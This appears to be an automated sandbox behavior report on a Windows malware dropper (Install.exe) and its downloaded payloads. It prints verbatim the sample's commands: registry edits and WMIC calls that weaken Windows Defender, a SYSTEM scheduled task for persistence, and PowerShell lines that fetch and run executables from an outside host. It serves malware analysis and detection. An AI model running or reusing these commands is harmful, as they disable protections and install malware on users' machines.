Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Code function: 8_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

8_2_00415D00

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 6A9D1000
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: E0B008

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\i1.exe i1.exe /SUB=28381000 /str=one	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\i3.exe i3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.0.exe "C:\Users\user\AppData\Local\Temp\u5do.0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe "C:\Users\user\AppData\Local\Temp\u5do.2\run.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Process created: C:\Users\user\AppData\Local\Temp\u5do.3.exe "C:\Users\user\AppData\Local\Temp\u5do.3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /I /tn biPxHmULFllsbMgnpt
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"

Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: TrayNotifyWndShell_TrayWnd
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Shell_TrayWndtooltips_class32SVWU
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Shell_TrayWndtooltips_class32S

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Code function: 6_2_00409D1B cpuid

6_2_00409D1B

Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_0042086B
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: EnumSystemLocalesW,	6_2_004170F1
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: EnumSystemLocalesW,	6_2_004201F6
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: EnumSystemLocalesW,	6_2_004201AB
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: EnumSystemLocalesW,	6_2_00420291
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_0042031E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,	6_2_004174E4
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,	6_2_0042056E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00420697
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	6_2_0041FF33
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,	6_2_0042079E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: EnumSystemLocalesW,	6_2_04100412
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: EnumSystemLocalesW,	6_2_0410045D
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: EnumSystemLocalesW,	6_2_041004F8
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: GetLocaleInfoW,	6_2_040F774B
